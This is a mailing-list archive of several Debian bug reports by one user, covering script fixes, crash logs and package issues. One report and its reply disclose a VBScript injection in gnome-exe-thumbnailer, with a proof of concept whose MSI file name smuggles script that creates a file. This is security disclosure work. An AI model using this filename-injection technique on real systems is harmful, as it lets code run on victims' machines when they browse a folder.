Nils Dagsson Moskopp // erlehmann
<http://dieweltistgarnichtso.net>


signature.asc
Description: PGP signature


Bug#868705: [pkg-wine-party] Bug#868705: gnome-exe-thumbnailer: Thumbnail generation for MSI files executes arbitrary VBScript

2017-07-17 Thread Nils Dagsson Moskopp
I like that the patch is less code. Deleted code is debugged code!
Btw, are you sure that using mssiinfo does not introduce new bugs?

Cheers,
Nils

James Lu <bitfl...@gmail.com> writes:

> [ Unknown signature status ]
> Hi Nils,
>
> I wasn't able to reproduce the exploit on my (64-bit) system with either
> Caja and Nautilus (it also required setting up a new wineprefix in
> ~/.wine). The msi thumbnail ended up generating without any version
> information tag at all.
>
> Regardless, I've gone and replaced the VBScript-based parsing entirely
> with msitools' msiinfo in
> https://github.com/gnome-exe-thumbnailer/gnome-exe-thumbnailer/commit/1d8e3102dd8fd23431ae6127d14a236da6b4a4a5;
> hopefully this should fix the issue. I'll tag a new release soon and
> look at pushing the fix to Debian.
>
> (Also CC'ing the other maintainers, who I don't think are on the Debian
> Wine list)
>
> Best,
> James
>
> On 18/07/17 05:01 AM, Nils Dagsson Moskopp wrote:
>> Package: gnome-exe-thumbnailer
>> Version: 0.9.4-2
>> Severity: grave
>> Tags: security
>> Justification: user security hole
>> 
>> Dear Maintainer,
>> 
>> the following PoC is copied verbatim from my post about the parsing issue:
>> http://news.dieweltistgarnichtso.net/posts/gnome-thumbnailer-msi-fail.html
>> 
>> Proof of Concept
>> 
>> Install Dependencies
>> 
>> On Debian GNU/Linux, install the packages gnome-exe-thumbnailer, nautilus 
>> and wixl. The wixl package is only needed to create MSI files that trigger 
>> the thumbnailer.
>> 
>> If the proof of concept does not work, install winetricks and run winetricks 
>> wsh56 to upgrade the Windows Script Host.
>> 
>> Create MSI Files
>> 
>> Create a file named poc.xml with the following content:
>> 
>> 
>> http://schemas.microsoft.com/wix/2006/wi;>
>> 
>> 
>> 
>> Execute the following Bourne Shell code:
>> 
>> wixl -o poc.msi poc.xml
>> cp poc.msi "poc.msi\",0):Set 
>> fso=CreateObject(\"Scripting.FileSystemObject\"):Set 
>> poc=fso.CreateTextFile(\"badtaste.txt\")'.msi"
>> 
>> Trigger Execution
>> 
>> Start GNOME Files and navigate to the folder with the MSI files. An empty 
>> file with the name badtaste.txt should appear.
>> 
>> *** End of the template - remove these template lines ***
>> 
>> 
>> -- System Information:
>> Debian Release: 9.0
>>   APT prefers stable
>>   APT policy: (500, 'stable')
>> Architecture: i386 (i686)
>> 
>> Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
>> Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
>> Shell: /bin/sh linked to /bin/dash
>> Init: sysvinit (via /sbin/init)
>> 
>> Versions of packages gnome-exe-thumbnailer depends on:
>> ii  icoutils 0.31.2-1.1
>> ii  imagemagick  8:6.9.7.4+dfsg-11
>> ii  imagemagick-6.q16 [imagemagick]  8:6.9.7.4+dfsg-11
>> ii  libglib2.0-bin   2.50.3-2
>> 
>> Versions of packages gnome-exe-thumbnailer recommends:
>> pn  wine 
>> 
>> pn  wine64-tools | wine32-tools | wine64-development-tools | wine32-dev  
>> 
>> 
>> gnome-exe-thumbnailer suggests no packages.
>> 
>> -- no debconf information
>> 
>> ___
>> pkg-wine-party mailing list
>> pkg-wine-pa...@lists.alioth.debian.org
>> http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-wine-party
>> 
>

-- 
Nils Dagsson Moskopp // erlehmann
<http://dieweltistgarnichtso.net>


signature.asc
Description: PGP signature


Bug#868705: gnome-exe-thumbnailer: Thumbnail generation for MSI files executes arbitrary VBScript

2017-07-17 Thread Nils Dagsson Moskopp
Package: gnome-exe-thumbnailer
Version: 0.9.4-2
Severity: grave
Tags: security
Justification: user security hole

Dear Maintainer,

the following PoC is copied verbatim from my post about the parsing issue:
http://news.dieweltistgarnichtso.net/posts/gnome-thumbnailer-msi-fail.html

Proof of Concept

Install Dependencies

On Debian GNU/Linux, install the packages gnome-exe-thumbnailer, nautilus and 
wixl. The wixl package is only needed to create MSI files that trigger the 
thumbnailer.

If the proof of concept does not work, install winetricks and run winetricks 
wsh56 to upgrade the Windows Script Host.

Create MSI Files

Create a file named poc.xml with the following content:


http://schemas.microsoft.com/wix/2006/wi;>



Execute the following Bourne Shell code:

wixl -o poc.msi poc.xml
cp poc.msi "poc.msi\",0):Set 
fso=CreateObject(\"Scripting.FileSystemObject\"):Set 
poc=fso.CreateTextFile(\"badtaste.txt\")'.msi"

Trigger Execution

Start GNOME Files and navigate to the folder with the MSI files. An empty file 
with the name badtaste.txt should appear.

*** End of the template - remove these template lines ***


-- System Information:
Debian Release: 9.0
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages gnome-exe-thumbnailer depends on:
ii  icoutils 0.31.2-1.1
ii  imagemagick  8:6.9.7.4+dfsg-11
ii  imagemagick-6.q16 [imagemagick]  8:6.9.7.4+dfsg-11
ii  libglib2.0-bin   2.50.3-2

Versions of packages gnome-exe-thumbnailer recommends:
pn  wine 
pn  wine64-tools | wine32-tools | wine64-development-tools | wine32-dev  

gnome-exe-thumbnailer suggests no packages.

-- no debconf information



Bug#836527: /usr/games/vcmibuilder: vcmibuilder does not work with gog.com executable

2016-09-03 Thread Nils Dagsson Moskopp
Package: vcmi
Version: 0.98+dfsg-3
Severity: important
File: /usr/games/vcmibuilder
Tags: patch

Dear Maintainer,

when using vcmibuilder with the --gog option, it fails.
The first error message is “Could not open file "1"”.

The reason is a stray “1” on line 166 of /usr/games/vcmibuilder.
If you remove the character, vcmibuilder with --gog option works.

I have attached a fixed version of vcmibuilder.


-- System Information:
Debian Release: 8.5
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages vcmi depends on:
ii  libavcodec577:3.1.1-2
ii  libavformat57   7:3.1.1-2
ii  libavutil55 7:3.1.1-2
ii  libboost-atomic1.61.0   1.61.0+dfsg-2.1
ii  libboost-chrono1.61.0   1.61.0+dfsg-2.1
ii  libboost-date-time1.61.01.61.0+dfsg-2.1
ii  libboost-filesystem1.61.0   1.61.0+dfsg-2.1
ii  libboost-locale1.61.0   1.61.0+dfsg-2.1
ii  libboost-program-options1.61.0  1.61.0+dfsg-2.1
ii  libboost-system1.61.0   1.61.0+dfsg-2.1
ii  libboost-thread1.61.0   1.61.0+dfsg-2.1
ii  libc6   2.23-1
ii  libfuzzylite5.1v5   5.1+dfsg-3.1
ii  libgcc1 1:6.1.1-9
ii  libminizip1 1.1-8
ii  libqt5core5a5.6.1+dfsg-3
ii  libqt5gui5  5.6.1+dfsg-3
ii  libqt5network5  5.6.1+dfsg-3
ii  libqt5widgets5  5.6.1+dfsg-3
ii  libsdl2-2.0-0   2.0.4+dfsg2-1
ii  libsdl2-image-2.0-0 2.0.1+dfsg-2+b2
ii  libsdl2-mixer-2.0-0 2.0.1+dfsg1-1
ii  libsdl2-ttf-2.0-0   2.0.14+dfsg1-1
ii  libstdc++6  6.1.1-9
ii  libswscale4 7:3.1.2-1
ii  zlib1g  1:1.2.8.dfsg-2+b1

Versions of packages vcmi recommends:
ii  innoextract  1.6-1+b1
ii  libav-tools  7:3.1.2-1
ii  unshield 1.0-1
ii  unzip6.0-16+deb8u2

vcmi suggests no packages.

-- debconf information excluded
#!/bin/bash

#
# VCMI data builder script
# Extracts game data from various sources and creates a tree with the right files
#
# Authors: listed in file AUTHORS in main folder
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#

# no console arguments - print help
if [ $# -eq 0 ] ; then
	print_help=true
fi

# command line parsing
# can't use system getopt which is not cross-platform (BSD/Mac)
# can't use built-in getopts which can't parse long options (too difficult to avoid - e.g. CD1/CD2)
while [ $# -gt 0 ]
do
	case $1 in
		--cd1) cd1_dir=$2   ; shift 2 ;;
		--cd2) cd2_dir=$2   ; shift 2 ;;
		--gog) gog_file=$2  ; shift 2 ;;
		--data) data_dir=$2 ; shift 2 ;;
		--dest) dest_dir=$2 ; shift 2 ;;
		--convertMP3) useffmpeg=true; shift 1 ;;
#		--download) download=true   ; shift 1 ;;
		--validate) validate=true   ; shift 1 ;;
		*) print_help=true  ; shift 1 ;;
	esac
done

if [[ -n "$print_help" ]]
then
	echo "VCMI data builder utility"
	echo "Usage: vcmibuilder "
	echo "Options:"
	echo " --cd1 DIRECTORY  " "Path to mounted first CD with Heroes 3 install files"
	echo "  " "Requires unshield"
	echo
	echo " --cd2 DIRECTORY  " "Path to second CD with Heroes 3 data files."
	echo
	echo " --gog EXECUTABLE " "Path to gog.com executable"
	echo "  " "Requires innoextract ( http://constexpr.org/innoextract/ )"
	echo
	echo " --data DIRECTORY " "Path to installed Heroes 3 data"
	echo
	echo " --convertMP3 " "Convert all mp3 files into ogg/vorbis"
	echo "  " "Requires ffmpeg or avconv"
	echo
#	echo " --download   " "Automatically download optional package using wget"
#	echo "  " "Requires wget and Internet connection"
#	echo
	echo " --dest DIRECTORY " "Path where resulting data will be placed. Default is ~/.local/share/vcmi"
	echo
	echo " --validate   " "Run basic validness checks"
	exit 0
fi

# test presence of program $1, $2 will be passed as parameters to test presence
test_utility ()
{
	$1 $2 > /dev/null 2>&1 || { echo "$1 was not found. Please install it" 1>&2 ; exit 1; }
} 

#print error message and exit
fail ()
{
	$2
	echo "$1" 1>&2
	rm -rf "$temp_dir"

	exit 1
}

# print warning to stderr.
warning ()
{
	echo "$1" 1>&2
	warn_user=true
}

# check if selected options are correct.

if [[ -n "$data_dir" ]]
then
	if [[ -n "$gog_file" ]] || [[ -n "$cd1_dir" ]] || [[ -n "$cd2_dir" ]]
	then
		warning "Warning: Installed data dir was specified. Both gog and cd options will be ignored"
		unset gog_file cd1_dir cd2_dir
	

Bug#835211: beneath-a-steel-sky: Enable subtitles by default

2016-08-23 Thread Nils Dagsson Moskopp
Package: beneath-a-steel-sky
Version: 0.0372-6
Severity: wishlist

Dear Maintainer,

scummvm has a “-n” option to enable subtitles.
I think those should be enabled by default.

This would aid accessibility and help users not speaking English.
(Explanation: Voice is always English, while text is translated.)

I am attaching a patched /usr/games/sky file to this bug report.


-- System Information:
Debian Release: 8.5
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages beneath-a-steel-sky depends on:
ii  scummvm  1.7.0+dfsg-2

beneath-a-steel-sky recommends no packages.

beneath-a-steel-sky suggests no packages.

-- debconf information excluded
#!/bin/sh -e

GAMELANG=
ENVLANG=
domain=sky

if [ $(which gettext) ]; then
	gettext="gettext --domain=$domain -s --"
else
	gettext=echo
fi

usage()
{
	$gettext "Usage: sky [OPTION]"
	$gettext "Start Beneath a Steel Sky"
	echo
	$gettext "--en play the English version"
	$gettext "--de play the German version"
	$gettext "--fr play the French version"
	$gettext "--it play the Italian version"
	$gettext "--es play the Spanish version"
	$gettext "--help   display this help and exit"
	$gettext "--versiondisplay version information and exit"
}

version()
{
	$gettext "Beneath a Steel Sky v0.0372"
	$gettext "Copyright (C) Revolution Software Ltd."
	$gettext "ScummVM engine Copyright (C) The ScummVM Team"
}

ENVLANG=$(
	echo $LANGUAGE $LANG en | tr ': ' '\n' | cut -c1-2 | while read lang;
	do
		echo $lang | grep -E "de|fr|it|es|en" && break
	done
	)

if ! [ x"$ENVLANG" = x"en" ]; then
	GAMELANG="-q $ENVLANG"
fi

if [ "$#" -gt "1" ]; then
	usage
	exit 1
elif [ "$#" -eq "1" ]; then
	case "$1" in
	--en)
		;;
	--de)
		GAMELANG="-q de"
		;;
	--fr)
		GAMELANG="-q fr"
		;;
	--it)
		GAMELANG="-q it"
		;;
	--es)
		GAMELANG="-q es"
		;;
	--help)
		usage
		exit 0
		;;
	--version)
		version
		exit 0
		;;
	*)
		usage
		exit 1
		;;
	esac
fi

/usr/games/scummvm -n $GAMELANG -p /usr/share/scummvm/beneath-a-steel-sky sky

exit 0


Bug#834596: minetest-mod-nether: conflicts with minetest-mod-moreblocks

2016-08-17 Thread Nils Dagsson Moskopp
Package: minetest-mod-nether
Version: 2-1
Severity: important

Dear Maintainer,

I have installed minetest-mod-moreblocks and minetest-mod-nether.
Activating both in a map does not work and generates this error:

--- snib ---
2016-08-17 14:28:03: WARNING[Main]: Undeclared global variable "stairsplus" 
accessed at /usr/share/games/minetest/mods/nether/init.lua:489
2016-08-17 14:28:03: ERROR[Main]: ModError: Failed to load and run script from 
/usr/share/games/minetest/mods/nether/init.lua:
2016-08-17 14:28:03: ERROR[Main]: 
/usr/share/games/minetest/mods/nether/init.lua:489: attempt to index global 
'stairsplus' (a nil value)
2016-08-17 14:28:03: ERROR[Main]: stack traceback:
2016-08-17 14:28:03: ERROR[Main]:   
/usr/share/games/minetest/mods/nether/init.lua:489: in main chunk
--- snab ---

It seems to me that minetest-mod-nether relies on the assumption that
minetest-mod-moreblocks declares a global with the name “stairsplus”.

The relevant code in /usr/share/games/minetest/mods/nether/init.lua:

--- snib ---
if minetest.get_modpath("moreblocks") then
stairsplus:register_all(
"nether", "brick", "nether:brick", {
description = "Nether Brick",
groups = {cracky = 2, level = 2},
tiles = {"nether_brick.png"},
sounds = default.node_sound_stone_defaults(),
})
end
--- snab ---

Removing that code fixes the problem, but obviously removes a feature.

-- System Information:
Debian Release: 8.5
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages minetest-mod-nether depends on:
ii  minetest  0.4.14+repack-5

minetest-mod-nether recommends no packages.

minetest-mod-nether suggests no packages.

-- debconf information excluded



Bug#833112: pyew: PDF analysis not possible without python-tk

2016-07-31 Thread Nils Dagsson Moskopp
Package: pyew
Version: 2.0-3
Severity: normal

Dear Maintainer,

when trying to analyse a PDF with pyew, I got the following error message:
> Error loading file: 'pdf'

After installing python-tk, PDF analysis seems to work.
I suggest to add it as a dependency or recommendation.

This looks like the same bug: 

-- System Information:
Debian Release: 8.5
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages pyew depends on:
ii  libdistorm64-1  1.7.30-1
ii  python  2.7.9-1
ii  python2.7   2.7.9-2

pyew recommends no packages.

pyew suggests no packages.

-- no debconf information



Bug#833107: origami-pdf: package is missing man pages

2016-07-31 Thread Nils Dagsson Moskopp
Package: origami-pdf
Version: 1.2.7-3
Severity: wishlist

Dear Maintainer,

according to Debian Policy Manual, section 12.1, programs SHOULD have man pages.

-- System Information:
Debian Release: 8.5
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages origami-pdf depends on:
ii  ruby1:2.1.5+deb8u2
ii  ruby-origami1.2.7-3
ii  ruby2.1 [ruby-interpreter]  2.1.5-2+deb8u2

Versions of packages origami-pdf recommends:
pn  ruby-gtk2  

origami-pdf suggests no packages.

-- no debconf information



Bug#832125: chromium: Chromium immediately crashes

2016-07-22 Thread Nils Dagsson Moskopp
Package: chromium
Version: 51.0.2704.79-1
Severity: grave
Justification: renders package unusable

Dear Maintainer,

I started chromium. It crashed immediately with SIGSEGV. dmesg(1) tells me:

--- snib ---
[153066.919129] chromium[15304]: segfault at 10 ip aa110788 sp bfb16160 error 4 
in libnettle.so.4.7[aa0ee000+33000]
--- snab ---

I expected chromium to not crash; it has worked fine a lot of times before.

Attached is strace output for the crash.

-- System Information:
Debian Release: 8.5
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages chromium depends on:
ii  libasound2   1.0.28-1
ii  libatk1.0-0  2.14.0-1
ii  libavcodec57 7:3.1.1-2
ii  libavformat577:3.1.1-2
ii  libavutil55  7:3.1.1-2
ii  libc62.19-18+deb8u4
ii  libcairo21.14.0-2.1+deb8u1
ii  libcups2 2.1.4-4
ii  libdbus-1-3  1.10.8-1
ii  libexpat12.1.0-6+deb8u3
ii  libfontconfig1   2.11.0-6.3
ii  libfreetype6 2.5.2-3+deb8u1
ii  libgcc1  1:4.9.2-10
ii  libgdk-pixbuf2.0-0   2.31.1-2+deb8u5
ii  libglib2.0-0 2.48.1-2
ii  libgnome-keyring03.12.0-1+b1
ii  libgtk2.0-0  2.24.25-3+deb8u1
ii  libharfbuzz0b0.9.35-2
ii  libjpeg62-turbo  1:1.3.1-12
ii  libnspr4 2:4.12-2
ii  libnss3  2:3.23-2
ii  libpango-1.0-0   1.36.8-3
ii  libpangocairo-1.0-0  1.36.8-3
ii  libpci3  1:3.3.1-1.1
ii  libspeechd2  0.8-7
ii  libstdc++6   6.1.1-9
ii  libx11-6 2:1.6.2-3
ii  libxcomposite1   1:0.4.4-1
ii  libxcursor1  1:1.1.14-1+b1
ii  libxdamage1  1:1.1.4-2+b1
ii  libxext6 2:1.3.3-1
ii  libxfixes3   1:5.0.1-2+b2
ii  libxi6   2:1.7.4-1+b2
ii  libxml2  2.9.1+dfsg1-5+deb8u2
ii  libxrandr2   2:1.4.2-1+b1
ii  libxrender1  1:0.9.8-1+b1
ii  libxslt1.1   1.1.28-2+deb8u1
ii  libxss1  1:1.2.2-1
ii  libxtst6 2:1.2.2-1+b1
ii  x11-utils7.7+2
ii  xdg-utils1.1.1-1

Versions of packages chromium recommends:
ii  fonts-liberation  1.07.4-1

Versions of packages chromium suggests:
pn  chromium-l10n  

-- no debconf information
execve("/usr/bin/chromium", ["chromium"], [/* 54 vars */]) = 0
brk(NULL)   = 0xb80f9000
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 
0xb773
access("/etc/ld.so.preload", R_OK)  = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=99503, ...}) = 0
mmap2(NULL, 99503, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7717000
close(3)= 0
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, 
"\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) 
= 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1750780, ...}) = 0
mmap2(NULL, 1755772, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 
0xb756a000
mmap2(0xb7711000, 12288, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a7000) = 0xb7711000
mmap2(0xb7714000, 10876, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7714000
close(3)= 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 
0xb7569000
set_thread_area({entry_number:-1, base_addr:0xb7569940, limit:1048575, 
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, 
useable:1}) = 0 (entry_number:6)
mprotect(0xb7711000, 8192, PROT_READ)   = 0
mprotect(0xb7773000, 4096, PROT_READ)   = 0
mprotect(0xb7754000, 4096, PROT_READ)   = 0
munmap(0xb7717000, 99503)   = 0
getpid()= 17664
rt_sigaction(SIGCHLD, {0xb7766bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
brk(NULL)   = 0xb80f9000
brk(0xb811a000) = 0xb811a000
getppid()   = 17661
stat64("/home/erlehmann", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
stat64(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
open("/usr/bin/chromium", O_RDONLY) = 3
fcntl64(3, F_DUPFD, 10) = 10
close(3)= 0
fcntl64(10, F_SETFD, FD_CLOEXEC)= 0
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {0xb7766bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 

Bug#797998: unknown-horizons: Crash shortly after start of single player game

2016-07-20 Thread Nils Dagsson Moskopp
Package: unknown-horizons
Version: 2014.1+ds1-2
Followup-For: Bug #797998

Dear Maintainer,

I have updated the python-fife package, suspecting it might be too old.
The game now crashes immediately when started. See the terminal output:

--- snib ---

# 2016-07-20T16:46+0200 $home 
; unknown-horizons
Traceback (most recent call last):
  File "/usr/lib/python2.7/dist-packages/horizons/engine/generate_atlases.py", 
line 64, in 
from run_uh import init_environment
ImportError: No module named run_uh
Atlas generation failed. Continuing without atlas support.
This just means that the game will run a bit slower.
It will still run fine unless there are other problems.

Traceback (most recent call last):
  File "/usr/games/unknown-horizons", line 380, in 
main()
  File "/usr/games/unknown-horizons", line 189, in main
ret = horizons.main.start(options)
  File "/usr/lib/python2.7/dist-packages/horizons/main.py", line 192, in start
horizons.globals.fife.init()
  File "/usr/lib/python2.7/dist-packages/horizons/engine/engine.py", line 178, 
in init
self._setting.apply()
  File "/usr/lib/python2.7/dist-packages/horizons/engine/settings.py", line 91, 
in apply
change_language(language)
  File "/usr/lib/python2.7/dist-packages/horizons/i18n/__init__.py", line 125, 
in change_language
horizons.globals.fife.pychan.loadFonts(fontdef)
  File "/usr/lib/python2.7/dist-packages/fife/extensions/pychan/fonts.py", line 
88, in loadFonts
for font in Font.loadFromFile(filename):
  File "/usr/lib/python2.7/dist-packages/fife/extensions/pychan/fonts.py", line 
73, in loadFromFile
fonts.append( Font(name,_get) )
  File "/usr/lib/python2.7/dist-packages/fife/extensions/pychan/fonts.py", line 
46, in __init__
self.font.setAntiAlias(self.antialias)
  File "/usr/lib/python2.7/dist-packages/fife/fife.py", line 3917, in 
setAntiAlias
return _fife.GuiFont_setAntiAlias(self, antiAlias)
TypeError: in method 'GuiFont_setAntiAlias', argument 2 of type 'bool'
AL lib: (EE) alc_cleanup: 1 device not closed
# exited 1

--- snab ---


-- System Information:
Debian Release: 8.5
  APT prefers testing-updates
  APT policy: (500, 'testing-updates'), (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.utf8, LC_CTYPE=de_DE.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages unknown-horizons depends on:
ii  dpkg 1.17.27
ii  python   2.7.9-1
ii  python-enet  0.0~svn24-1+b2
ii  python-fife  0.3.5-2
ii  python-yaml  3.11-2
pn  python:any   

unknown-horizons recommends no packages.

unknown-horizons suggests no packages.

-- no debconf information



Bug#829600: conkeror: Some HTML5 videos show only green since upgrade

2016-07-04 Thread Nils Dagsson Moskopp
I hereby provide more information concerning the video file included in
the bug report. I also found a workaround to the bug, but do not know
why it works at all. This should probably be forwarded to upstream,
Debian firefox-esr maintainers and/or Debian ffmpeg maintainers.

file(1) reports it as a WebM (video/webm) file.

mkvinfo(1) reports (using the --summary option):
> Track 1: video, codec ID: V_VP8, mkvmerge/mkvextract track ID: 0, language: 
> und, default duration: 33.367ms (29.970 frames/fields per second for a video 
> track), pixel width: 1280, pixel height: 720, display width: 1280, display 
> height: 720
> Track 2: audio, codec ID: A_OPUS, mkvmerge/mkvextract track ID: 1, language: 
> eng, channels: 2, sampling freq: 48000, bits per sample: 32

If I extract the audio track using mkvextract(1), Firefox can play it.

Gstreamer plays the video file, tested with the following invocation:
> gst-launch-1.0 playbin 
> 'uri=https://bugs.debian.org/cgi-bin/bugreport.cgi?att=1;bug=829600;filename=katzenmilch-have-a-nice-day-maybe.webm;msg=5'

ffmpeg does not play the video file, but exits with status code 1 and
the error “Output file #0 does not contain any stream”. The workaround
that I found simply disables ffmpeg, maybe that should be the default?

1. Navigate to “about:config”.
2. Search for “media.ffmpeg.enabled”
3. Set “media.ffmpeg.enabled” to “false”.

Greetings,
-- 
Nils Dagsson Moskopp // erlehmann
<http://dieweltistgarnichtso.net>



Bug#828159: firefox-esr: session tabs lost after upgrade from iceweasel to firefox-esr

2016-06-25 Thread Nils Dagsson Moskopp
Package: firefox-esr
Version: 45.2.0esr-1
Severity: grave
Justification: causes non-serious data loss

Dear Maintainer,

I updated from Iceweasel to Firefox ESR and after restarting, my old tabs were 
lost.

The session tabs appear to be still saved in sessionstore.bak in the profile 
folder.
However, I have no idea how to make Firefox ESR use that file.

-- Package-specific info:

-- Extensions information
Name: Default theme
Location: 
/usr/lib/firefox-esr/browser/extensions/{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi
Package: firefox-esr
Status: enabled

Name: Firefox Hello Beta
Location: ${PROFILE_EXTENSIONS}/l...@mozilla.org.xpi
Status: enabled

Name: NoScript
Location: 
/usr/share/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/{73a6fe31-595d-460b-a920-fcc0f8843232}
Package: xul-ext-noscript
Status: enabled

Name: Tree Style Tab
Location: 
/usr/share/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/treestyle...@piro.sakura.ne.jp
Package: xul-ext-treestyletab
Status: enabled

-- Plugins information

-- Addons package information
ii  firefox-esr45.2.0esr-1  i386 Mozilla Firefox web browser - Ext
ii  xul-ext-noscri 2.6.9.30-1   all  permissions manager for Iceweasel
ii  xul-ext-treest 0.15.2015030 all  Show browser tabs like a tree

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages firefox-esr depends on:
ii  debianutils   4.5.1
ii  fontconfig2.11.0-6.3
ii  libasound21.0.29-1
ii  libatk1.0-0   2.16.0-2
ii  libc6 2.19-19
ii  libcairo2 1.14.2-2
ii  libdbus-1-3   1.10.4-1
ii  libdbus-glib-1-2  0.102-1
ii  libevent-2.0-52.0.21-stable-2
ii  libffi6   3.2.1-3
ii  libfontconfig12.11.0-6.3
ii  libfreetype6  2.5.2-4
ii  libgcc1   1:4.9.2-10
ii  libgdk-pixbuf2.0-02.31.5-1
ii  libglib2.0-0  2.46.2-3
ii  libgtk2.0-0   2.24.28-1
ii  libhunspell-1.4-0 1.4.1-2
ii  libnspr4  2:4.10.8-2
ii  libnss3   2:3.19.2-1
ii  libpango-1.0-01.40.1-1
ii  libsqlite3-0  3.8.10.2-1
ii  libstartup-notification0  0.12-4
ii  libstdc++65.2.1-17
ii  libvpx3   1.5.0-2
ii  libx11-6  2:1.6.3-1
ii  libxcomposite11:0.4.4-1
ii  libxdamage1   1:1.1.4-2+b1
ii  libxext6  2:1.3.3-1
ii  libxfixes31:5.0.1-2+b2
ii  libxrender1   1:0.9.8-1+b1
ii  libxt61:1.1.4-1+b1
ii  procps2:3.3.9-9
ii  zlib1g1:1.2.8.dfsg-2+b1

Versions of packages firefox-esr recommends:
ii  gstreamer1.0-libav 1.4.5-3
ii  gstreamer1.0-plugins-good  1.8.1-1

Versions of packages firefox-esr suggests:
ii  fonts-lmodern  2.004.4-5
pn  fonts-stix | otf-stix  
ii  libcanberra0   0.30-2.1
ii  libgnomeui-0   2.24.5-3
ii  libgssapi-krb5-2   1.12.1+dfsg-20
pn  mozplugger 

-- no debconf information



Bug#826679: pngnq: Using -e and -f options together truncates input files, then crashes

2016-06-07 Thread Nils Dagsson Moskopp
Package: pngnq
Version: 1.0-2.2+b1
Severity: normal

Dear Maintainer,

I wanted to use pngnq to downsize several screenshots. The pngnq man page
suggested to use the “-e .png” and “-f” options together, which resulted
in pngnq truncating the input files and then crashing with this error:

